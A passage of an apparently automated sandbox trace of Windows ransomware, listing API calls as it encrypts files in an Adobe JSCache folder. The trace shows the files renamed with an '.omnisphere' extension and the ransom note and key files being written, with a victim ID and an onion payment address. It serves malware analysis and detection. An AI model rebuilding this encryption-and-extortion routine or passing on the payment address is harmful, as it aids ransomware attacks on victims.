CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0080.634] CreateFileMappingW (hFile=0x3a8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16, lpName=0x0) returned 0x3c0 [0080.634] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16) returned 0x3430000 [0080.635] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668bd0) returned 1 [0080.635] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639868) returned 1 [0080.635] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0080.635] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0080.635] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.635] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.635] CryptDestroyKey (hKey=0x1639868) returned 1 [0080.635] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0080.635] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x16, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0080.635] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0080.638] GetProcessHeap () returned 0x1600000 [0080.638] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x1650770 [0080.638] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata.omnisphere")) returned 1 [0080.638] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.omnisphere.id" [0080.638] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0080.639] WriteFile (in: hFile=0x3c4, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0080.640] CloseHandle (hObject=0x3c4) returned 1 [0080.641] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0080.641] CloseHandle (hObject=0x3c0) returned 1 [0080.642] SetEndOfFile (hFile=0x3a8) returned 1 [0080.642] FlushFileBuffers (hFile=0x3a8) returned 1 [0080.649] CloseHandle (hObject=0x3a8) returned 1 [0080.651] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned 1 [0080.651] GetProcessHeap () returned 0x1600000 [0080.651] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1650a20 [0080.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0080.651] GetProcessHeap () returned 0x1600000 [0080.651] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f4e0 [0080.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f4e0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0080.651] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0080.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0080.651] GetProcessHeap () returned 0x1600000 [0080.651] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f590 [0080.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f590, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0080.651] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0080.651] GetProcessHeap () returned 0x1600000 [0080.651] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16313a8 [0080.651] PathCombineW (in: pszDest=0x16313a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\!DECRYPT_OMNISPHERE.txt" [0080.651] GetProcessHeap () returned 0x1600000 [0080.651] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1665e28 [0080.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0080.653] WriteFile (in: hFile=0x3a8, lpBuffer=0x1665e28*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1665e28*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0080.654] CloseHandle (hObject=0x3a8) returned 1 [0080.654] GetProcessHeap () returned 0x1600000 [0080.654] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1650a20 | out: hHeap=0x1600000) returned 1 [0080.654] GetProcessHeap () returned 0x1600000 [0080.654] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162df48 [0080.654] PathCombineW (in: pszDest=0x162df48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\unique_decrypt.key" [0080.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0080.654] WriteFile (in: hFile=0x3a8, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0080.655] CloseHandle (hObject=0x3a8) returned 1 [0080.656] GetProcessHeap () returned 0x1600000 [0080.656] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162df48 | out: hHeap=0x1600000) returned 1 [0080.656] GetProcessHeap () returned 0x1600000 [0080.656] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656228 | out: hHeap=0x1600000) returned 1 [0080.656] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0xd4, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 1 [0080.656] GetProcessHeap () returned 0x1600000 [0080.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x165ea30 [0080.656] PathCombineW (in: pszDest=0x165ea30, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", pszFile="GlobSettings" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" [0080.656] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0080.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0080.656] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=24) returned 1 [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.656] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] GetTickCount () returned 0x11545fe [0080.657] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668708) returned 1 [0080.657] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x16397a8) returned 1 [0080.658] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0080.658] CryptDestroyKey (hKey=0x16397a8) returned 1 [0080.658] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0080.658] CreateFileMappingW (hFile=0x3a8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18, lpName=0x0) returned 0x3c0 [0080.658] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18) returned 0x3430000 [0080.658] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668bd0) returned 1 [0080.659] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0080.659] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0080.659] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0080.659] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.659] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.659] CryptDestroyKey (hKey=0x1639b68) returned 1 [0080.659] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0080.659] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0080.659] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0080.660] GetProcessHeap () returned 0x1600000 [0080.660] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x1650a20 [0080.661] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings.omnisphere")) returned 1 [0080.662] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.omnisphere.id" [0080.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globsettings.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0080.662] WriteFile (in: hFile=0x3c4, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0080.663] CloseHandle (hObject=0x3c4) returned 1 [0080.663] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0080.663] CloseHandle (hObject=0x3c0) returned 1 [0080.664] SetEndOfFile (hFile=0x3a8) returned 1 [0080.664] FlushFileBuffers (hFile=0x3a8) returned 1 [0080.666] CloseHandle (hObject=0x3a8) returned 1 [0080.667] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned 1 [0080.667] GetProcessHeap () returned 0x1600000 [0080.667] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1650cd8 [0080.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0080.667] GetProcessHeap () returned 0x1600000 [0080.667] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f468 [0080.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f468, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0080.668] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0080.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0080.668] GetProcessHeap () returned 0x1600000 [0080.668] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f5b0 [0080.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f5b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0080.668] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0080.668] GetProcessHeap () returned 0x1600000 [0080.668] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x1631180 [0080.669] PathCombineW (in: pszDest=0x1631180, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\!DECRYPT_OMNISPHERE.txt" [0080.669] GetProcessHeap () returned 0x1600000 [0080.669] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1667b10 [0080.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0080.669] WriteFile (in: hFile=0x3a8, lpBuffer=0x1667b10*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1667b10*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0080.669] CloseHandle (hObject=0x3a8) returned 1 [0080.669] GetProcessHeap () returned 0x1600000 [0080.669] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1650cd8 | out: hHeap=0x1600000) returned 1 [0080.669] GetProcessHeap () returned 0x1600000 [0080.669] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162d2e8 [0080.669] PathCombineW (in: pszDest=0x162d2e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\unique_decrypt.key" [0080.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0080.669] WriteFile (in: hFile=0x3a8, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0080.669] CloseHandle (hObject=0x3a8) returned 1 [0080.670] GetProcessHeap () returned 0x1600000 [0080.670] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162d2e8 | out: hHeap=0x1600000) returned 1 [0080.670] GetProcessHeap () returned 0x1600000 [0080.670] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165ea30 | out: hHeap=0x1600000) returned 1 [0080.670] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0xd4, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 0 [0080.670] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0080.670] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x112c302c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x112c302c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0080.670] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x112c302c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x112c302c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0080.670] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x112c302c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x112c302c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x112e9359, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0080.670] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636b588b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x636b588b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x1129cf14, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="GlobData.omnisphere", 